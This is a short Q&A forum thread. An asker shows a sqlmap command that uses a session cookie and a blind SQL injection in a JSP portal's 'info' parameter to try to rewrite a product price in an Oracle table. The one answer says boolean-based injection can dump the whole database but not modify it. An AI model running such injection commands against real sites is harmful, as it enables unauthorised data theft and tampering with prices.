4

down vote favorite I'm trying to use following code

sqlmap -u "http://exp.com/portal/pd.jsp action=edit&info=products&sub_info=price" 
--cookie="JSESSIONID....." --dbms Oracle -D PRODUCTS -T PRICE --threads 10
--sql-query="UPDATE PRICE SET PRICE ='100' WHERE PRODUCTID LIKE '7534' AND PRODUCTCODE = '73546'" 

I checked this link before and it is injectable in info parameter (boolean-based blind). the result of execution of above code is:

warning: "execution of custom SQL queries is only available when stacked queries are supported"

Is there any workaround in order to do this?

This website is running on Apache, JSP and Oracle.

1

No workaround here. You can usually dump the entire database with a boolean based sql injection vulnerability but you cant perform updates.

You can extract but cannot insert or modify existing data.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.